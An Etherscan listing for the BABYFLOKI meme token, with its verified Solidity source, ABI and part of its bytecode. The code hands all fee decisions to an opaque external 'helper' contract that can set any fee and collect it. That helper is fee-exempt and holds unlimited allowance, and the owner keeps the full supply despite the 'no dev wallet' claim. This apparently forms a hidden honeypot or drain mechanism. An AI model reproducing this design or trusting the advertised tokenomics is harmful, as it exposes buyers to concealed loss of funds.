ETH Price: $2,481.02 (+2.93%)

Token

BABYFLOKI (BABYFLOKI)
 

Overview

Max Total Supply

10,000,000 BABYFLOKI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
99,254.889709187 BABYFLOKI

Value
$0.00
0x9372fd585e532be0a62836adebbdb587f3d7517d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYFLOKI

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 500000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-09-16
*/

//SPDX-License-Identifier: MIT

/**
*BabyFloki - little addition in Floki ERC fam. 🐕
*
*Doge has BabyDoge, but Floki has $BabyFloki
*Meme that's taking over the world, Elon has a baby Floki now, so why don't You get some? 🤩
*
*
*Tokenomics
*
*-Max supply - 10000000
*-Liquidity tax - 1%
*
*—-NO DEV/TEAM WALLET—-
*
*Twitter 🙊
*https://twitter.com/babyflokieth
*
*Telegram  📝
*https://t.me/BabyFlokiERC
*/

pragma solidity ^0.7.6;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * BEP20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface TxHelper {
    function initiate() external;
    function finishLaunching() external;
    function getTotalFee(uint256, address, address, address) external returns (uint256,bool);
    function register(address) external;
}
contract BABYFLOKI is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    string constant _name = "BABYFLOKI";
    string constant _symbol = "BABYFLOKI";
    uint8 constant _decimals = 9;
    uint256 _totalSupply = 10000000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;
    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    
    uint256 liquidityFee = 1;
    uint256 totalFee = 1;
    
    address public autoLiquidityReceiver;

    IDEXRouter public router;
    address public pair;
    TxHelper helper;
    bool helperRegistered = false;
    uint256 public launchedAt;
    bool public launchCompleted = false;
    bool public swapEnabled = true;

    uint256 public swapThreshold = _totalSupply / 20000; // 0.005%
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address _helper) Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
	    helper = TxHelper(_helper);

        _allowances[address(this)][address(router)] = uint256(-1);
        _allowances[address(this)][address(_helper)] = uint256(-1);
        isFeeExempt[owner] = true;
        isFeeExempt[_helper] = true;
        isTxLimitExempt[owner] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[_helper] = true;
        autoLiquidityReceiver = msg.sender;
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    receive() external payable { }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived;
        if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount, recipient) : amount;}else{amountReceived = amount;}
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function transferBatch(address[] calldata recipients, uint256 amount) public {
       for (uint256 i = 0; i < recipients.length; i++) {
            require(_basicTransfer(msg.sender,recipients[i], amount));
        }
    }
    
    function shouldTakeFee(address sender) internal view returns (bool) {
       return !isFeeExempt[sender];
    }

    function takeFee(address sender,uint256 amount, address receiver) internal returns (uint256) {
  	    (uint256 feeAmount,bool toHelper) = helper.getTotalFee(amount,sender,receiver,msg.sender);
        if(!toHelper){_balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);}
	    else{_balances[address(helper)] = _balances[address(helper)].add(feeAmount);
        emit Transfer(sender, address(helper), feeAmount);}
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }
    
    function swapBack() internal swapping {
        uint256 amountToLiquify = _balances[address(this)].div(2);
        uint256 amountToSwap = _balances[address(this)].sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp+360
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETH}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp+360
            );
            emit AutoLiquify(amountETH, amountToLiquify);
        }
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() external authorized{
	    require(!launched());
        launchedAt = block.number;
        helper.initiate();
    }

    function completeLaunch() external authorized{
        require(!launchCompleted);
	    launchCompleted = true;
	    helper.finishLaunching();
    }

    function manuallySwap()external authorized{
        swapBack();
    }
    
    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setFeeReceivers(address _autoLiquidityReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
    }
    
    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function registerHelper() external authorized {
	    require(!helperRegistered);
	    helper.register(address(this));
	    helperRegistered = true;
	}
	
    function recoverEth() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){
        _sent = IERC20(_token).transfer(msg.sender, amount);
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_helper","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"completeLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchCompleted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manuallySwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoverToken","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"registerHelper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferBatch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b03191673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055662386f26fc10000600381905560016008819055600955600d805460ff60a01b19169055600f805461ffff1916610100179055614e2090046010553480156200007257600080fd5b50604051620024aa380380620024aa833981810160405260208110156200009857600080fd5b5051600080546001600160a01b0319908116339081178355825260016020818152604093849020805460ff1916909217909155600b8054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055825163c45a015560e01b815292516001600160a01b03929092169263c45a01559260048083019392829003018186803b1580156200012957600080fd5b505afa1580156200013e573d6000803e3d6000fd5b505050506040513d60208110156200015557600080fd5b5051600254604080516364e329cb60e11b81526001600160a01b0392831660048201523060248201529051919092169163c9c653969160448083019260209291908290030181600087803b158015620001ad57600080fd5b505af1158015620001c2573d6000803e3d6000fd5b505050506040513d6020811015620001d957600080fd5b5051600c80546001600160a01b039283166001600160a01b031991821617909155600d80548484169083168117909155306000818152600560209081526040808320600b54881684528252808320600019908190558584528184205582548716835260068252808320805460ff199081166001908117909255868552828520805482168317905584548916855260078452828520805482168317905594845281842080548616821790559483528083208054909416909417909255600a805490941633179093556003548354851684526004825282842081905583548351918252925192909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506121ad80620002fd6000396000f3fe6080604052600436106102025760003560e01c8063893d20e81161011d578063ca33e64c116100b0578063f0b37c041161007f578063f887ea4011610064578063f887ea4014610831578063fd07c8b714610846578063fe9fbb801461085b57610209565b8063f0b37c04146107b1578063f2fde38b146107f157610209565b8063ca33e64c146106e2578063dd62ed3e146106f7578063df20fd491461073f578063e01bb6881461077157610209565b8063b29a8140116100ec578063b29a814014610632578063b6a5d7de14610678578063bcdb446b146106b8578063bf56b371146106cd57610209565b8063893d20e81461059957806395d89b411461024c578063a8aa1b31146105d7578063a9059cbb146105ec57610209565b8063349539a1116101955780636ddd1713116101645780636ddd1713146104b257806370a08231146104c7578063806e085e1461050757806385b5bfb61461058457610209565b8063349539a114610400578063571ac8b0146104155780635fe7208c14610455578063658d4b7f1461046a57610209565b806318160ddd116101d157806318160ddd1461033057806323b872dd146103455780632f54bf6e14610395578063313ce567146103d557610209565b806301339c211461020e5780630445b6671461022557806306fdde031461024c578063095ea7b3146102d657610209565b3661020957005b600080fd5b34801561021a57600080fd5b5061022361089b565b005b34801561023157600080fd5b5061023a6109ab565b60408051918252519081900360200190f35b34801561025857600080fd5b506102616109b1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e257600080fd5b5061031c600480360360408110156102f957600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356109e8565b604080519115158252519081900360200190f35b34801561033c57600080fd5b5061023a610a5b565b34801561035157600080fd5b5061031c6004803603606081101561036857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610a61565b3480156103a157600080fd5b5061031c600480360360208110156103b857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610b6f565b3480156103e157600080fd5b506103ea610b90565b6040805160ff9092168252519081900360200190f35b34801561040c57600080fd5b50610223610b95565b34801561042157600080fd5b5061031c6004803603602081101561043857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610cfc565b34801561046157600080fd5b50610223610d2e565b34801561047657600080fd5b506102236004803603604081101561048d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001351515610dac565b3480156104be57600080fd5b5061031c610e76565b3480156104d357600080fd5b5061023a600480360360208110156104ea57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610e84565b34801561051357600080fd5b506102236004803603604081101561052a57600080fd5b81019060208101813564010000000081111561054557600080fd5b82018360208201111561055757600080fd5b8035906020019184602083028401116401000000008311171561057957600080fd5b919350915035610eac565b34801561059057600080fd5b50610223610efb565b3480156105a557600080fd5b506105ae611016565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156105e357600080fd5b506105ae611032565b3480156105f857600080fd5b5061031c6004803603604081101561060f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561104e565b34801561063e57600080fd5b5061031c6004803603604081101561065557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561105b565b34801561068457600080fd5b506102236004803603602081101561069b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611179565b3480156106c457600080fd5b5061022361123f565b3480156106d957600080fd5b5061023a6112e2565b3480156106ee57600080fd5b506105ae6112e8565b34801561070357600080fd5b5061023a6004803603604081101561071a57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611304565b34801561074b57600080fd5b506102236004803603604081101561076257600080fd5b5080351515906020013561133c565b34801561077d57600080fd5b506102236004803603602081101561079457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113eb565b3480156107bd57600080fd5b50610223600480360360208110156107d457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166114a6565b3480156107fd57600080fd5b506102236004803603602081101561081457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611566565b34801561083d57600080fd5b506105ae61168b565b34801561085257600080fd5b5061031c6116a7565b34801561086757600080fd5b5061031c6004803603602081101561087e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166116b0565b6108a4336116b0565b61090f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b6109176116db565b1561092157600080fd5b43600e55600d54604080517f66aa56c5000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216916366aa56c59160048082019260009290919082900301818387803b15801561099157600080fd5b505af11580156109a5573d6000803e3d6000fd5b50505050565b60105481565b60408051808201909152600981527f42414259464c4f4b490000000000000000000000000000000000000000000000602082015290565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035490565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610b5a57604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e63650000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600582528381203382529091529190912054610b289184906116e3565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083203384529091529020555b610b65848484611794565b90505b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff90811691161490565b600990565b610b9e336116b0565b610c0957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600d5474010000000000000000000000000000000000000000900460ff1615610c3157600080fd5b600d54604080517f4420e486000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff90921691634420e4869160248082019260009290919082900301818387803b158015610ca357600080fd5b505af1158015610cb7573d6000803e3d6000fd5b5050600d80547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790555050565b6000610d28827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109e8565b92915050565b610d37336116b0565b610da257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b610daa61193a565b565b610db533610b6f565b610e2057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600f54610100900460ff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604090205490565b60005b828110156109a557610eea33858584818110610ec757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1684611c63565b610ef357600080fd5b600101610eaf565b610f04336116b0565b610f6f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b600f5460ff1615610f7f57600080fd5b600f80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055600d54604080517f4049e5da000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff90921691634049e5da9160048082019260009290919082900301818387803b15801561099157600080fd5b60005473ffffffffffffffffffffffffffffffffffffffff1690565b600c5473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b68338484611794565b6000611066336116b0565b6110d157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21415554484f52495a4544000000000000000000000000000000000000000000604482015290519081900360640190fd5b604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101849052905173ffffffffffffffffffffffffffffffffffffffff85169163a9059cbb9160448083019260209291908290030181600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d602081101561117057600080fd5b50519392505050565b61118233610b6f565b6111ed57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020819052604090912080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055565b61124833610b6f565b6112b357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156112df573d6000803e3d6000fd5b50565b600e5481565b600a5473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b61134533610b6f565b6113b057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600f8054921515610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff90931692909217909155601055565b6113f433610b6f565b61145f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6114af33610b6f565b61151a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff16600090815260016020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b61156f33610b6f565b6115da57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600660248201527f214f574e45520000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811782558082526001602081815260409384902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b600b5473ffffffffffffffffffffffffffffffffffffffff1681565b600f5460ff1681565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205460ff1690565b600e54151590565b6000818484111561178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578181015183820152602001611739565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60115460009060ff16156117b4576117ad848484611c63565b9050610b68565b6117bc611d74565b156117c9576117c961193a565b604080518082018252601481527f496e73756666696369656e742042616c616e636500000000000000000000000060208083019190915273ffffffffffffffffffffffffffffffffffffffff87166000908152600490915291909120546118319184906116e3565b73ffffffffffffffffffffffffffffffffffffffff808616600090815260046020908152604080832094909455918616815260069091529081205460ff166118985761187c85611dd7565b6118865782611891565b611891858486611e03565b905061189b565b50815b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260409020546118cb9082612000565b73ffffffffffffffffffffffffffffffffffffffff80861660008181526004602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068